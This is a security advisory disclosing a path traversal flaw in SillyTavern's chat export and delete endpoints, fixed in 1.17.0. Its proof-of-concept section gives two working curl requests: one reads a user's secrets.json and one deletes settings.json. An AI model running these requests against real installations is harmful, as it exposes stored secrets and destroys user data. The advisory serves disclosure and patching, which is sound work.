GHSA-vprr-q85p-79mf
SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | sillytavern | < 1.17.0 | 1.17.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=".."`.
### Details
The input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.
Evidence:
- Weak validator regex (does not reject `..`):
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27>
- Vulnerable delete path construction:
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577>
- Vulnerable export path construction:
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598>
- Endpoint auth context (authenticated user access):
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>
Because `avatar_url=".."` is accepted, `path.join(<user>/chats, "..")` resolves to `<user>/`, enabling direct access to files outside the chats directory.
### PoC
Prerequisites:
- Valid authenticated session cookie (`cookie.txt`)
- Valid CSRF token (`$TOKEN`)
Read sensitive file (`secrets.json`):
```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/export
```
Delete sensitive file (`settings.json`):
```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/delete
```
### Impact
- Confidentiality: exposed per-user secrets and config data.
- Integrity/Availability: attacker can delete critical per-user files and break account operation.
- Risk is significant in multi-user or remotely reachable deployments.
### Resolution
The issue was addressed in version 1.17.0
References
External links from the advisory. They lead to third-party sites.